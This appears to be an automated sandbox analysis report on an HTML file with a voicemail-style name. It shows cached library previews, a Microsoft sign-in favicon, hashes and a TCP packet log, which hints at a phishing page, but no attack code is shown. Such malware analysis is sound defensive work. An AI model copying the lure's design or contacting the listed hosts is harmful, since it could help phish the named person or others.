Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (46540), with CRLF line terminators
Entropy (8bit):	6.339717430130298
TrID:
File name:	Play-Audio_Now(Steven.haerle)CLQD.html
File size:	49'672 bytes
MD5:	17063a9632d15ee8a2bf339b68fdfe63
SHA1:	7f5882f9ae49bd67ba350e7be6dbcc809267301c
SHA256:	1189d12bf2b651550d7a86554dc264f93e9ab0ed99c16652b575be8625996e46
SHA512:	0f9f1f857f654e7a68aafa5cacfecefc1292f8f418ca934f896496de081a1cd30ea71375d0c296a42f14fc741e8546fa3aaf54411b283bf03399d36c1fd37a63
SSDEEP:	768:HJHe5WNY/5Y6Xwbg98F6W4AG6usVELGGE2d+9oABLlCpW6:Hw5b/5hgj6WKsJ2EzB6
TLSH:	19232CC5A6875C0892AA963A7D2DCCB2F428CC0ACB4CD349D772F55497161B2E7E0BDC
File Content Preview:	<span>Swine tempor short loin sed pig aliqua, commodo rump pancetta consectetur boudin dolor pastrami ut picanha. In tri-tip eiusmod, doner pork loin flank capicola filet mignon tongue short ribs pastrami sunt. Burgdoggen pastrami jowl proident alcat

File Icon


Icon Hash:	173149cccc490307

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 16, 2024 21:11:07.767364025 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:08.070863008 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:08.677828074 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:09.881846905 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:12.294895887 CEST	49673	443	192.168.2.16	204.79.197.203
Sep 16, 2024 21:11:12.603099108 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:12.603179932 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:12.603270054 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:12.603717089 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:12.603749990 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:12.604465961 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:12.604502916 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:12.604582071 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:12.604783058 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:12.604830027 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:12.604996920 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:12.605060101 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:12.605079889 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:12.605345964 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:12.605361938 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:12.614325047 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:12.614398003 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:12.614510059 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:12.614758968 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:12.614773989 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.061688900 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:13.061743975 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:13.061866999 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:13.062221050 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:13.062238932 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:13.074130058 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.074472904 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.074505091 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.076026917 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.076139927 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.076746941 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.076993942 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.077003002 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.077032089 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.077173948 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.077203989 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.077481985 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.077577114 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.077708006 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.077717066 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.078243971 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.078319073 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.078682899 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.078758955 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.079298973 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.079365015 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.079431057 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.079442978 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.079538107 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.079643011 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.079647064 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.080549002 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.080791950 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.080821037 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.082257986 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.082357883 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.083339930 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.083450079 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.083529949 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.083542109 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.119837999 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.119860888 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.119860888 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.119889975 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.135899067 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.167876005 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.173954010 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.209399939 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209469080 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209508896 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209537029 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209569931 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209608078 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209610939 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.209645033 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209667921 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.209680080 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.209933043 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209964037 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.209983110 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.209991932 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.210031986 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.210613012 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.214766979 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.224632025 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224694014 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224737883 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224778891 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224778891 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.224809885 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224832058 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.224853992 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224894047 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224910021 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.224916935 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.224962950 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.224968910 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.225567102 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.225627899 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.225636005 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227210045 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227283955 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227333069 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227349043 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.227379084 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227435112 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.227451086 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227500916 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.227552891 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.227560043 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.228190899 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.228220940 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.228261948 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.228275061 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.228319883 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.234689951 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.234755039 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.234850883 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.234877110 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.261904001 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.261936903 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.263644934 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.263664007 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.263706923 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.263724089 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.263740063 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.263756037 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.263772011 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.263793945 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.263832092 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.265464067 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.265477896 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.265547037 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.265572071 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.265589952 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.265616894 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.265640974 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.267607927 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.267636061 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.267719984 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.267734051 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.267832994 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.277862072 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.277863979 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.277893066 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.297715902 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.297765017 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.297796011 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.297836065 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.297863960 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.297884941 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.297914028 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.300311089 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.300311089 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.311083078 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.311144114 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.311165094 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.311187983 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.311321020 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.311351061 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.311357975 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.311400890 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.311486006 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.312251091 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.312299967 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.312324047 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.312331915 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.312380075 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.312431097 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.313194036 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.313200951 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.313249111 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.313258886 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.313268900 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.313333988 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.313699961 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.313716888 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.313838005 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.313874960 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.313895941 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.313905954 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.313954115 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.314003944 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.314815998 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.314877987 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.314883947 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.315677881 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.315735102 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.315746069 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.315793037 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.315848112 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.315853119 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.316631079 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.316685915 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.316693068 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330091000 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330168962 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330235004 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.330259085 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330434084 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330465078 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330478907 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.330485106 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.330526114 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.330610037 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.331290960 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.331343889 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.331350088 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.332119942 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.332174063 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.332179070 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.332211018 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.332262039 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.332266092 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.332911015 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.332964897 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.332969904 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.333139896 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.333180904 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.333184958 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.333800077 CEST	443	49709	104.18.10.207	192.168.2.16
